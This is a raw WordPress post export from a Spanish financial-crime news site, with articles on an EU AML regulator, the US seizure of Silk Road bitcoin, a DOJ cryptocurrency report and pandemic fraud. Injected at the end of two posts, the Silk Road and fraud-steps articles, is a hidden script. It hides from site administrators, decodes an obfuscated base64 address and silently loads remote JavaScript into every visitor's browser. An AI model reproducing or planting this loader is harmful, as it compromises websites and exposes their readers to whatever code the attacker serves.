hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el 